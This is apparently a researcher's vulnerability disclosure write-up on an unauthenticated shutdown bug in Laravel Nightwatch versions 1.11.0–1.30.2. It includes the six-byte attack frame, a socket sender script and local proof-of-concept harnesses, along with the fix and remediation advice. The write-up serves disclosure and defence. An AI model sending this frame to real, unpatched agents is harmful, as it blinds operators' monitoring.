jf0x3f

$ cat writeup.md / 2026.10.14

Six bytes to silence: an unauthenticated kill switch in Laravel Nightwatch

Laravel Nightwatch

GHSA-gq2x-q923-f9f8 · CWE-306 · laravel/nightwatch 1.11.0–1.30.2 · fixed in 1.30.3 · CVE Identifier pending

Laravel Nightwatch is a monitoring agent. Its whole job is to sit quietly beside your application, collect telemetry, and ship it off so you can see what your app is doing. The irony of the bug below is that the thing meant to watch everything could be switched off by a stranger sending it six bytes.

In affected versions, an unauthenticated peer on the same network could send one short, malformed message and the agent would shut itself down—without ever checking whether the sender was allowed to talk to it. The application kept running, but you went blind. No telemetry, no alerts, until something restarted the agent.

My report was published as GHSA-gq2x-q923-f9f8, classified as CWE-306: Missing Authentication for Critical Function, and fixed in 1.30.3 by PR #432.

Finding at a glance

PropertyValue
Componentlaravel/nightwatch agent — Server::start (agent/src/Server.php)
Affected versions>= 1.11.0, <= 1.30.2
Patched version1.30.3
WeaknessCWE-306 missing authentication for a critical function
Attack vectorOne unauthenticated TCP frame to the agent's ingest listener
CVSS6.5 — CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
ImpactAgent shuts down; telemetry ingestion and forwarding stop
Reporterjf0x3f

The idea, in plain terms

Think of the agent as a receptionist with two jobs on every visitor: check the ID badge, and read the message. The correct order is obvious—check the badge first, and only deal with anyone who actually belongs there.

The vulnerable code did it backwards. When a message arrived, it inspected the content of the message before it ever looked at the badge. And one particular piece of content—a protocol "version" field that the sender fully controls—had a special meaning: if the version looked wrong, the receptionist concluded something was badly broken, locked the front door, and went home.

Because none of that required a valid badge, anyone who could reach the desk could trigger it. Send a message with a deliberately invalid version, no credentials at all, and the agent packs up and leaves.

Where it goes wrong in the code

Nightwatch frames are length-prefixed: a number, a colon, then that many bytes of body. The body itself carries a version marker and a token. The server assembles the frame, acknowledges it, and then—in its close handler—decides what to do. The order of those decisions is the whole bug:

TCP connection / data event
  -> Server::start connection handler      (agent/src/Server.php:40-50)
  -> Payload::append / parsePayload         (agent/src/Payload.php:23-47)
  -> close handler checks the VERSION first (agent/src/Server.php:53-65)   <-- attacker-controlled
  -> listener close + onInvalidPayloadVersion
  -> Ingest::forceDigest + Loop::stop       (agent/src/agent.php:205-212)  <-- agent stops

The invalid-version branch (lines 60–65) runs before the token is ever checked (lines 68–71). The invariant that should hold is simple: a peer that has not passed token validation must not be able to close the listener or change the agent's lifecycle. Here, it could do both.

And this is reachable in practice. The project's official Docker image binds the ingest listener to every interface:

# agent/Dockerfile:16
NIGHTWATCH_INGEST_URI=0.0.0.0:2407

0.0.0.0 means "listen on all interfaces," so any peer that can route to the container on port 2407 reaches the vulnerable desk.

The malicious message

The entire attack is six bytes:

4:v2::

hex: 34 3a 76 32 3a 3a

Reading it the way the server does:

  • 4: — the body is four bytes long;
  • v2:: — those four bytes: a version field of v2, then an empty token.

It is a complete, well-formed frame. The version is invalid and the token is empty—exactly the combination that the server handled in the wrong order.

Proof of concept

All three proofs below run entirely locally against the real, pinned v1.30.2 code. They use a synthetic token and local fakes, stop at the first availability impact, and never contact any deployed or hosted Nightwatch service.

PoC 1 — the decision, isolated

This drives the real parser and server with the six-byte frame and reports which callbacks fired. It wraps the pinned Server and Payload classes in minimal fakes, emits the frame, and prints the resulting decisions as JSON.

poc-component.php:

<?php

declare(strict_types=1);

use Evenement\EventEmitter;
use Laravel\NightwatchAgent\Server;
use React\Socket\ConnectionInterface;
use React\Socket\ServerInterface;
use React\Stream\WritableStreamInterface;
require __DIR__.'/runtime-vulnerable/vendor/autoload.php';

$runtime = getenv('NIGHTWATCH_RUNTIME') ?: __DIR__.'/runtime-vulnerable';
require $runtime.'/src/Payload.php';
require $runtime.'/src/Server.php';

final class PocConnection extends EventEmitter implements ConnectionInterface
{
    public string $response = '';

    public bool $closed = false;

    public function getRemoteAddress() { return 'tcp://127.0.0.1:40000'; }
    public function getLocalAddress() { return 'tcp://127.0.0.1:2407'; }
    public function isReadable() { return ! $this->closed; }
    public function pause() { return null; }
    public function resume() { return null; }
    public function pipe(WritableStreamInterface $dest, array $options = []) { throw new \RuntimeException('unused'); }
    public function close() { $this->closed = true; }
    public function isWritable() { return ! $this->closed; }
    public function write($data) { $this->response .= (string) $data; return true; }
    public function end($data = null) { if ($data !== null) { $this->write($data); } $this->close(); }
}

final class PocServer extends EventEmitter implements ServerInterface
{
    public bool $closed = false;

    public function getAddress() { return 'tcp://127.0.0.1:2407'; }
    public function pause() { return null; }
    public function resume() { return null; }
    public function close() { $this->closed = true; }
}

$listener = new PocServer;
$invalidVersionCalled = false;
$invalidTokenCalled = false;
$payloadReceived = false;

$server = new Server(
    serverResolver: static fn (): ServerInterface => $listener,
    tokenHash: 'SECRET7',
    onServerStarted: static fn () => null,
    onServerError: static fn () => null,
    onConnectionError: static fn () => null,
    onPayloadReceived: static function () use (&$payloadReceived): void { $payloadReceived = true; },
    onInvalidPayloadVersion: static function () use (&$invalidVersionCalled): void { $invalidVersionCalled = true; },
    onInvalidTokenHash: static function () use (&$invalidTokenCalled): void { $invalidTokenCalled = true; },
);
$server->start();

// Six bytes total. The declared payload body is 'v2::' (invalid version, empty token, empty value).
$frame = '4:v2::';
$connection = new PocConnection;
$listener->emit('connection', [$connection]);
$connection->emit('data', [$frame]);
$connection->emit('close');

$result = [
    'frame_hex' => bin2hex($frame),
    'frame_bytes' => strlen($frame),
    'ack' => $connection->response,
    'listener_closed' => $listener->closed,
    'invalid_version_callback' => $invalidVersionCalled,
    'invalid_token_callback' => $invalidTokenCalled,
    'payload_callback' => $payloadReceived,
];

echo json_encode($result, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES).PHP_EOL;

Run it:

php poc-component.php

Output:

{
    "frame_hex": "343a76323a3a",
    "frame_bytes": 6,
    "ack": "2:OK",
    "listener_closed": true,
    "invalid_version_callback": true,
    "invalid_token_callback": false,
    "payload_callback": false
}

The server acknowledges the frame, closes the shared listener, and reaches the invalid-version shutdown callback. Note what never happens: invalid_token_callback is false. The empty, invalid token was never evaluated—the agent gave up before it got there.

PoC 2 — a real process, over a real socket

This starts the actual pinned agent process, sends the six bytes over a loopback TCP socket, and watches the process exit. It stands up an ephemeral loopback listener and a synthetic local auth service, and contacts nothing external.

The driver, poc-loopback.sh, picks two free loopback ports, starts a local mock auth router and the vulnerable agent, waits for the agent to authenticate and come up, then fires the frame and confirms the process dies:

#!/bin/sh

set -eu

POC_TMP="$(mktemp -d "${TMPDIR:-/tmp}/nightwatch-ghsa.XXXXXX")"
MOCK_PID=''
AGENT_PID=''

cleanup() {
    if [ -n "$AGENT_PID" ]; then
        kill "$AGENT_PID" 2>/dev/null || true
    fi
    if [ -n "$MOCK_PID" ]; then
        kill "$MOCK_PID" 2>/dev/null || true
    fi
    rm -rf "$POC_TMP"
}

trap cleanup EXIT INT TERM

free_port() {
    php -r '$socket = stream_socket_server("tcp://127.0.0.1:0", $code, $message); if ($socket === false) { exit(1); } echo parse_url(stream_socket_get_name($socket, false), PHP_URL_PORT); fclose($socket);'
}

AUTH_PORT="$(free_port)"
INGEST_PORT="$(free_port)"

php -S "127.0.0.1:${AUTH_PORT}" mock-nightwatch-router.php >"$POC_TMP/mock.log" 2>&1 &
MOCK_PID=$!

NIGHTWATCH_BASE_URL="http://127.0.0.1:${AUTH_PORT}" \
NIGHTWATCH_TOKEN='LOCAL_SYNTHETIC_TOKEN_000000000000000000000' \
NIGHTWATCH_INGEST_URI="127.0.0.1:${INGEST_PORT}" \
php run-vulnerable-agent.php >"$POC_TMP/agent.log" 2>&1 &
AGENT_PID=$!

ready='false'
for _ in 1 2 3 4 5 6 7 8 9 10; do
    if grep -q 'Authentication successful' "$POC_TMP/agent.log" && grep -q 'Nightwatch agent initiated' "$POC_TMP/agent.log"; then
        ready='true'
        break
    fi
    sleep 0.2
done

if [ "$ready" != 'true' ]; then
    sed -E 's/127\.0\.0\.1:[0-9]+/127.0.0.1:<ephemeral>/g' "$POC_TMP/agent.log"
    echo 'Local agent did not become ready.' >&2
    exit 1
fi

php send-six-byte-frame.php "$INGEST_PORT"

stopped='false'
for _ in 1 2 3 4 5 6 7 8 9 10; do
    if ! kill -0 "$AGENT_PID" 2>/dev/null; then
        stopped='true'
        wait "$AGENT_PID" || true
        AGENT_PID=''
        break
    fi
    sleep 0.2
done

sed -E 's/127\.0\.0\.1:[0-9]+/127.0.0.1:<ephemeral>/g' "$POC_TMP/agent.log"

if [ "$stopped" != 'true' ]; then
    echo 'Expected the vulnerable agent process to stop.' >&2
    exit 1
fi

grep -q 'Shutting down' "$POC_TMP/agent.log"
echo 'RESULT: vulnerable agent exited after one unauthenticated six-byte frame'

The actual network send is tiny—open a socket, write six bytes, read the acknowledgement. That is send-six-byte-frame.php:

<?php

declare(strict_types=1);

$port = filter_var($argv[1] ?? null, FILTER_VALIDATE_INT);

if ($port === false) {
    fwrite(STDERR, "A valid loopback port is required.\n");
    exit(1);
}

$socket = stream_socket_client("tcp://127.0.0.1:{$port}", $errorCode, $errorMessage, 2);

if ($socket === false) {
    fwrite(STDERR, "Loopback connection failed: {$errorMessage} [{$errorCode}]\n");
    exit(1);
}

$frame = '4:v2::';
fwrite($socket, $frame);
$ack = fread($socket, 4);
fclose($socket);

echo json_encode([
    'destination' => '127.0.0.1:<ephemeral>',
    'frame_hex' => bin2hex($frame),
    'frame_bytes' => strlen($frame),
    'ack' => $ack,
], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES).PHP_EOL;

if ($ack !== '2:OK') {
    exit(1);
}

Run it:

sh poc-loopback.sh

Output:

frame_hex: 343a76323a3a
frame_bytes: 6
ack: 2:OK
agent log: Shutting down
RESULT: vulnerable agent exited after one unauthenticated six-byte frame

PoC 3 — full-agent regression harness

This uses Nightwatch's own source-agent harness with local fakes to assert the full chain: the listener closes, the event loop stops, the invalid-version and shutdown messages are emitted, and the token-mismatch path is never taken.

HistoricalInvalidVersionShutdownTest.php:

<?php

declare(strict_types=1);

use Tests\BrowserFake;
use Tests\Connection;
use Tests\LoopFake;
use Tests\Response;
use Tests\TcpServerFake;
use Tests\TestCase;
use Tests\Timer;

final class HistoricalInvalidVersionShutdownTest extends TestCase
{
    public function test_six_byte_unauthenticated_frame_stops_the_agent(): void
    {
        $loop = new LoopFake(runForSeconds: 2);
        $server = new TcpServerFake;
        $ingestDetailsBrowser = new BrowserFake([Response::jwt()]);
        $ingestBrowser = new BrowserFake;

        $loop->addTimer(1, $server->pendingConnection('4:v2::'));

        [$output, $exception] = $this->runAgent(
            via: 'source',
            ingestDetailsBrowser: $ingestDetailsBrowser,
            ingestBrowser: $ingestBrowser,
            loop: $loop,
            server: $server,
        );

        $this->assertNull($exception, $exception?->getMessage() ?? '');
        $server->assertHandled([Connection::ok()]);
        $server->assertClosed();
        $this->assertFalse($loop->running);
        $this->assertStringContainsString('Incoming payload version has changed', $output);
        $this->assertStringContainsString('Shutting down', $output);
        $this->assertStringNotContainsString('Incoming token hash mismatch', $output);
        $loop->assertRun([
            new Timer(interval: 1, runAt: 1, scheduledAt: 0, scheduledBy: $this->functionName()),
        ]);
    }
}

The assertions read like a plain-English statement of the bug: the connection is acknowledged, the listener is closed, the loop is no longer running, the version-change and shutdown messages appear, and—critically—the "token hash mismatch" message never does. Run it:

cd runtime-vulnerable
CI=1 php vendor/bin/phpunit ../HistoricalInvalidVersionShutdownTest.php

Result: OK (1 test, 8 assertions).

What the fix changed

The patch is almost boring, which is the point. PR #432 moved token verification before version handling, and switched the token comparison to hash_equals. Check the badge first; then, and only then, care about the message.

Running the same six-byte frame against the fixed v1.30.3 code shows the reversal. The comparison reuses PoC 1 unchanged, just pointed at the patched runtime and told to expect the fixed decision order—poc-compare-fixed.php:

<?php

declare(strict_types=1);

putenv('NIGHTWATCH_RUNTIME='.__DIR__.'/runtime-fixed');
putenv('NIGHTWATCH_EXPECT_FIXED=1');

require __DIR__.'/poc-component.php';
php poc-compare-fixed.php
{
    "frame_hex": "343a76323a3a",
    "frame_bytes": 6,
    "ack": "2:OK",
    "listener_closed": false,
    "invalid_version_callback": false,
    "invalid_token_callback": true,
    "payload_callback": false
}

Now the empty token is rejected (invalid_token_callback: true), the listener stays open (listener_closed: false), and the invalid-version shutdown path is never reached. The agent keeps running. This output matches the v1.30.3 source byte-for-byte.

Impact and honest limits

The demonstrated effect is availability loss, scoped to the agent. An adjacent network peer could disable telemetry ingestion and forwarding until an external supervisor restarted the process, creating a monitoring blind spot. That is why the CVSS vector reads A:H (high availability impact) with C:N/I:N—nothing was read, nothing was altered.

Remediation

  1. Upgrade laravel/nightwatch to 1.30.3 or later.
  2. Do not bind the ingest listener to 0.0.0.0 in untrusted networks—prefer loopback or a tightly scoped interface, and firewall port 2407 to known peers.
  3. Run the agent under a supervisor that restarts it, and alert on unexpected agent exits so a shutdown is noisy rather than silent.
  4. Treat "my monitoring went quiet" as a signal worth investigating, not just a glitch.

Security lessons

  • Order of checks is a security control. The code was all there; it just authenticated after it had already acted on attacker-controlled input.
  • Attacker-controlled fields deserve suspicion before trust is established. A "version" field is still input, and here it carried enough weight to stop a process.
  • A kill switch doesn't need memory corruption. Six valid bytes and a logic ordering mistake were enough.
  • Monitoring is part of the attack surface. The tool that watches your system is itself a system that can be attacked—and silencing the watcher is a useful first move for someone who wants to do worse.
  • Default binds matter. 0.0.0.0 in a shipped Dockerfile turns a local-only concern into an adjacent-network one.

References